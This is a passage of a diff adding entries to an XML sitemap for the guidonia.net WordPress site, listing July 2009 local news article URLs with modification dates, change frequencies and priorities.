+		<loc>http://www.guidonia.net/wp/roma-uccisione-trans-a-giudizio-immediato-presunto-responsabile-libero-news-it.html</loc>
+		<lastmod>2009-07-29T13:41:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-uccisione-trans-a-giudizio-immediato-presunto-responsabile-il-tempo.html</loc>
+		<lastmod>2009-07-29T13:40:45+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/mobilita-luciani-passo-importante-regione-castellinews-it.html</loc>
+		<lastmod>2009-07-28T04:45:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/dalla-provincia-60-milioni-per-gli-edifici-scolastici-passaggi-a-abitare-a-roma.html</loc>
+		<lastmod>2009-07-27T16:13:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-sparo-e-uccise-per-gelosia-la-moglie-condannato-a-15-anni-adnkronosign.html</loc>
+		<lastmod>2009-07-27T15:01:05+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/romaprovincia-consiglio-variazione-bilancio-60mln-per-strade-e-agenzia-di-stampa-asca.html</loc>
+		<lastmod>2009-07-27T15:00:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-provincia-roma-bilancio-60mln-per-scuole-e-mobilita-il-velino.html</loc>
+		<lastmod>2009-07-27T14:39:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-provincia-variazione-60-mln-per-strade-scuole-e-passaggi-a-libero-news-it.html</loc>
+		<lastmod>2009-07-27T14:22:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lazio-luciani-pd-restyling-stazioni-nuovo-passo-avanti-regione-libero-news-it.html</loc>
+		<lastmod>2009-07-27T14:20:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-provincia-variazione-bilancio-per-60-mln-euro-per-strade-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-27T14:12:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/via-libera-della-regione-per-la-riqualificazione-delle-stazioni-trc-giornale.html</loc>
+		<lastmod>2009-07-27T14:06:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/sparo-e-uccise-per-gelosia-la-moglie-piu-giovane-di-lui-di-20-anni-melito-online.html</loc>
+		<lastmod>2009-07-27T12:50:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-sparo-e-uccise-per-gelosia-la-moglie-condannato-a-15-anni-libero-news-it.html</loc>
+		<lastmod>2009-07-27T12:21:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-uccise-la-moglie-condannato-a-quindici-anni-diregiovani.html</loc>
+		<lastmod>2009-07-27T10:24:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cro-tivoli-uccise-moglie-per-gelosia-condanna-definitiva-a-15-anni-il-velino.html</loc>
+		<lastmod>2009-07-27T10:13:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/2-agosto-che-fare.html</loc>
+		<lastmod>2009-07-26T16:53:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-sito-valle-aniene-news-cambia-nome.html</loc>
+		<lastmod>2009-07-26T16:52:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/carabinieri-scoprono-altre-3-piantagioni-di-canapa-indiana-e-melito-online.html</loc>
+		<lastmod>2009-07-25T11:41:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/droga-canapa-indiana-in-casa-e-in-giardino-3-arresti-agi-agenzia-giornalistica-italia.html</loc>
+		<lastmod>2009-07-25T09:13:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/resoconto-mesi-precedenti.html</loc>
+		<lastmod>2009-07-24T17:07:27+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/scaramuzza-%c2%abquesto-piano-se-passa-penalizzera-i-cittadini-della-il-messaggero.html</loc>
+		<lastmod>2009-07-24T13:38:39+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/droga-cc-sequestrano-500-piante-marijuana-nellultimo-mese-diregiovani.html</loc>
+		<lastmod>2009-07-24T10:11:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cro-lazio-droga-fai-da-te-arrestati-28-giovani-coltivatori-il-velino.html</loc>
+		<lastmod>2009-07-24T09:59:46+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lotta-alla-droga-fai-da-te-nei-castelli-romani-castellinews-it.html</loc>
+		<lastmod>2009-07-24T09:04:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/colonna-convenzione-con-il-parco-acquapiper-castellinews-it.html</loc>
+		<lastmod>2009-07-24T04:52:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-tenta-di-rubare-portafogli-su-autobus-arrestato-da-carabinieri-libero-news-it.html</loc>
+		<lastmod>2009-07-23T15:22:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/cro-guidonia-carabinieri-arrestano-romeno-per-tentato-furto-su-bus-il-velino.html</loc>
+		<lastmod>2009-07-23T10:36:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-domani-incontro-delludc-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-23T10:20:37+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-%e2%80%93-tenta-di-rubare-un-portafogli-su-un-autobus-romeno-melito-online.html</loc>
+		<lastmod>2009-07-23T10:05:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ancona-va-di-moda-torna-ad-illuminare-il-passetto-ancona-informa.html</loc>
+		<lastmod>2009-07-23T08:40:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/scuola-romana-di-circo-corsi.html</loc>
+		<lastmod>2009-07-22T13:24:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/22-02-09-internet-col-bavaglino-limes-rivista-italia-di-geopolitica.html</loc>
+		<lastmod>2009-07-22T11:14:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/molesta-minorenne-a-guidonia-in-manette-pregiudicato-il-messaggero.html</loc>
+		<lastmod>2009-07-22T09:20:07+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-molesta-minorenne-arrestato-dai-carabinieri-a-guidonia-libero-news-it.html</loc>
+		<lastmod>2009-07-22T08:22:15+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/criminalita-in-crescita-nell%c2%b4ultimo-anno-la-repubblica.html</loc>
+		<lastmod>2009-07-22T07:27:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/per-abdul-guibre-detto-abba.html</loc>
+		<lastmod>2009-07-21T23:42:20+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tivolitribunale-%c2%abil-rilancio-e-possibile%c2%bb-castellinews-it.html</loc>
+		<lastmod>2009-07-21T10:44:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/ultima-prova-del-12%c2%b0-concorso-allievi-marescialli-aeronautica-militare.html</loc>
+		<lastmod>2009-07-21T07:49:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nuovo-spot-della-marcia-mondiale.html</loc>
+		<lastmod>2009-07-20T16:07:50+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/top-gun-da-togliere-il-respiro-socialpress.html</loc>
+		<lastmod>2009-07-19T21:49:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/anziano-si-barrica-in-casa-spara-e-uccide-carabiniere-leggo-online-4.html</loc>
+		<lastmod>2009-07-18T16:14:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/anziano-si-barrica-in-casa-spara-e-uccide-carabiniere-leggo-online-3.html</loc>
+		<lastmod>2009-07-18T16:14:51+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/anziano-si-barrica-in-casa-spara-e-uccide-carabiniere-leggo-online-2.html</loc>
+		<lastmod>2009-07-18T13:45:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/vicenza-si-barrica-in-casa-e-uccide-un-carabiniere-blitz-nella-adnkronosign.html</loc>
+		<lastmod>2009-07-18T13:41:48+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/anziano-si-barrica-in-casa-spara-e-uccide-carabiniere-leggo-online.html</loc>
+		<lastmod>2009-07-18T08:36:13+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/serie-a-mercato-parma-si-allontana-di-michele-udineseblog-calcio-notizie.html</loc>
+		<lastmod>2009-07-18T07:23:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/top-gun-da-togliere-il-respiro-politicamentecorretto-com.html</loc>
+		<lastmod>2009-07-17T22:55:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/top-gun-da-togliere-il-respiro-reset-italia.html</loc>
+		<lastmod>2009-07-17T22:46:25+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/dalla-strage-di-bogogno-al-cecchino-di-guidonia-i-precedenti-il-messaggero.html</loc>
+		<lastmod>2009-07-17T20:50:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/anziano-si-barrica-in-casa-leggo-online.html</loc>
+		<lastmod>2009-07-17T20:38:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/dal-cecchino-di-guidonia-alla-strage-di-bogogno-i-precedenti-adnkronosign.html</loc>
+		<lastmod>2009-07-17T20:21:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/dalla-strage-di-bogogno-al-cecchino-di-guidonia-i-precedenti-il-gazzettino.html</loc>
+		<lastmod>2009-07-17T19:25:02+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/tivoli-comune-denuclearizzato.html</loc>
+		<lastmod>2009-07-17T13:10:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/stalking-vittima-una-persona-su-cinque-il-giornale.html</loc>
+		<lastmod>2009-07-17T05:02:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-lotti-udc-istituire-numero-per-emergenze-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-16T16:59:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-lotti-udc-istituire-numero-per-emergenze-iris-press-agenzia-stampa-nazionale-2.html</loc>
+		<lastmod>2009-07-16T16:59:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/rifiuti-lucherini-pd-de-lillo-scarica-problemi-di-roma-sull-libero-news-it.html</loc>
+		<lastmod>2009-07-15T16:03:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/roma-comune-lucherini-per-de-lillo-citta-metropolitana-vale-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-15T15:00:34+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/caldo-e-salute-il-comune-pensa-agli-anziani-melito-online.html</loc>
+		<lastmod>2009-07-15T05:39:16+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/bellezza-marzia-e-jacopo-miss-e-mr-fiumicino-2009-lunico.html</loc>
+		<lastmod>2009-07-15T00:16:53+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/marwa-al-sherbini-vittima-del-sessismo-e-del-razzismo.html</loc>
+		<lastmod>2009-07-14T15:18:28+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/caldo-il-piano-del-comune-a-salvaguardia-degli-anziani-romanotizie-news-ed-eventi-da-roma-e-suoi-municipi.html</loc>
+		<lastmod>2009-07-14T02:57:18+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/bando-servizio-civile-alter_musiculture.html</loc>
+		<lastmod>2009-07-13T23:21:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/dove-sara-l-uffico-delle-dogane-di-roma.html</loc>
+		<lastmod>2009-07-13T16:40:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/amb-roma-e-pronto-il-piano-del-comune-contro-il-grande-caldo-il-velino.html</loc>
+		<lastmod>2009-07-13T16:29:42+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-udc-evidente-contiguita-con-amministrazione-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-13T11:26:35+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/interrogazione-parlamentare-sul-tribunale-di-tivoli-castellinews-it.html</loc>
+		<lastmod>2009-07-13T09:06:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/convegno-compostaggio-a-roma.html</loc>
+		<lastmod>2009-07-13T07:45:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/le-massime-ondate-di-calore-del-nuovo-millennio-in-italia-dall-meteo-giornale.html</loc>
+		<lastmod>2009-07-13T05:24:54+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/litalia-le-suona-agli-yankees-la-gazzetta-dello-sport.html</loc>
+		<lastmod>2009-07-12T23:13:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-questore-%c2%abavrebbe-stuprato-ancora%c2%bb-di-luca-bussi-il-messaggero-2.html</loc>
+		<lastmod>2009-07-12T19:26:21+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-questore-%c2%abavrebbe-stuprato-ancora%c2%bb-di-luca-bussi-il-messaggero.html</loc>
+		<lastmod>2009-07-12T11:56:43+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-in-webtv/</loc>
+		<lastmod>2009-07-11T19:11:52+00:00</lastmod>
+		<changefreq>weekly</changefreq>
+		<priority>0.6</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/folklore-e-bande.html</loc>
+		<lastmod>2009-07-11T11:46:23+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/arenile-per-cani-e-padroni.html</loc>
+		<lastmod>2009-07-10T13:43:09+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/serie-d-prime-due-conferme-a-guidonia-il-corriere-laziale.html</loc>
+		<lastmod>2009-07-09T08:43:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/salvini-e-litalia-dei-doppi-sensi-il-messaggero.html</loc>
+		<lastmod>2009-07-09T07:20:29+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nella-grande-distribuzione-organizzata-con-articolo1-lavoratorio-it.html</loc>
+		<lastmod>2009-07-08T22:08:40+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-tirarono-finocchi-a-luxuria-ora-il-sindaco-li-vuole-al-nanopress.html</loc>
+		<lastmod>2009-07-08T16:01:29+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/disclaimer/</loc>
+		<lastmod>2009-07-08T15:44:02+00:00</lastmod>
+		<changefreq>weekly</changefreq>
+		<priority>0.6</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/eventi-dintorni-psiche-e-storiaapproccio-cognitivo-agenzia-radicale.html</loc>
+		<lastmod>2009-07-08T13:50:12+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-vicesindaco-che-lanciava-finocchi-gaynews.html</loc>
+		<lastmod>2009-07-08T12:54:17+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/contatti/</loc>
+		<lastmod>2009-07-08T12:04:31+00:00</lastmod>
+		<changefreq>weekly</changefreq>
+		<priority>0.6</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/soldi-al-mago-per-stregare-michelle-hunziker-il-tempo.html</loc>
+		<lastmod>2009-07-08T10:03:14+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/il-10-luglio-in-marcia-verso-laquila.html</loc>
+		<lastmod>2009-07-08T09:07:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/i-lanciatori-di-finocchi-diventano-assessori-babilonia-magazine.html</loc>
+		<lastmod>2009-07-08T08:43:44+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/nella-capitale-quasi-due-aggressioni-al-giorno-il-tempo.html</loc>
+		<lastmod>2009-07-08T04:02:06+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-arcigay-nella-giunta-chi-lancio-finocchi-a-luxuria-gaynews.html</loc>
+		<lastmod>2009-07-07T22:02:03+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lanciarono-finocchi-a-luxuria-ora-diventano-assessori-gay-it.html</loc>
+		<lastmod>2009-07-07T17:01:41+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-i-lanciatori-di-finocchi-in-giunta-gaylib-al-neosindaco-notiziegay-it.html</loc>
+		<lastmod>2009-07-07T16:49:43+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/lamore-e-il-coraggio-famiglia-cristiana.html</loc>
+		<lastmod>2009-07-07T14:44:38+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/pol-guidonia-pagano-udc-e-partito-di-moderazione-e-buon-senso-il-velino.html</loc>
+		<lastmod>2009-07-07T13:40:32+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-udc-siamo-partito-di-buon-senso-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-07T13:00:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/gay-tirarono-finocchi-a-luxuria-nominati-in-giunta-guidonia-agi-agenzia-giornalistica-italia.html</loc>
+		<lastmod>2009-07-07T11:22:36+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/violentarono-una-27enne-in-auto-arrestati-4-romeni-gazzetta-di-parma.html</loc>
+		<lastmod>2009-07-07T11:02:48+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/toro-ce-la-grana-di-michele-il-bomber-vuol-cambiare-aria-cronacaqui-milano.html</loc>
+		<lastmod>2009-07-07T10:23:08+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-vicesindaco-e-assessore-ai-servizi-sociali-lanciarono-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-07T10:10:11+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/toro-ce-la-grana-di-michele-cronacaqui-milano.html</loc>
+		<lastmod>2009-07-07T09:32:04+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/concorso-per-tecnico-roma-1-posto-come-tecnico-in-lazio-concorso-n.html</loc>
+		<lastmod>2009-07-06T23:12:47+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/servizio-civile.html</loc>
+		<lastmod>2009-07-06T14:06:00+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/salve-a-tutti.html</loc>
+		<lastmod>2009-07-06T11:54:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/about/</loc>
+		<lastmod>2009-07-04T22:30:07+00:00</lastmod>
+		<changefreq>weekly</changefreq>
+		<priority>0.6</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-udc-sollecita-mappatura-strade-a-rischio-%e2%80%93-iris.html</loc>
+		<lastmod>2009-07-04T16:12:37+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guidonia-pagano-udc-sollecita-mappatura-strade-a-rischio-iris-press-agenzia-stampa-nazionale.html</loc>
+		<lastmod>2009-07-04T16:12:37+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/a-guidonia-le-selezioni-per-il-grande-fratello-2010.html</loc>
+		<lastmod>2009-07-04T14:17:19+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/selezioni-grande-fratello-2010-al-centro-commerciale-etra.html</loc>
+		<lastmod>2009-07-04T14:00:29+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/vendo-tutto-east-west-reason-2-5-piu-upgrade-a-3-0-epic-h-altro.html</loc>
+		<lastmod>2009-07-04T00:34:49+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/operazione-anticontraffazione-maxi-sequestro-di-falsi-il-faro-quotidiano-telematico.html</loc>
+		<lastmod>2009-07-03T22:54:58+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/false-griffe-maxi-sequestro-a-roma-1-arresto-e-18-denunce-consumatori-oggi.html</loc>
+		<lastmod>2009-07-03T12:16:30+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/guardia-di-finanza-sequestrati-nella-capitale-3-milioni-di-pezzi-loccidentale.html</loc>
+		<lastmod>2009-07-03T10:39:22+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/gdf-maxi-sequestro-di-merci-contraffatte-per-20-milioni-il-sole-24-ore.html</loc>
+		<lastmod>2009-07-03T10:18:10+00:00</lastmod>
+		<changefreq>daily</changefreq>
+		<priority>0.8</priority>
+	</url>
+	<url>
+		<loc>http://www.guidonia.net/wp/calcio-serie-d-i-possibili-gironi-164-le-squadre-radiortm-it.html</loc>
+		<lastmod>2009-07-03T09:45:59+00:00</lastmod>
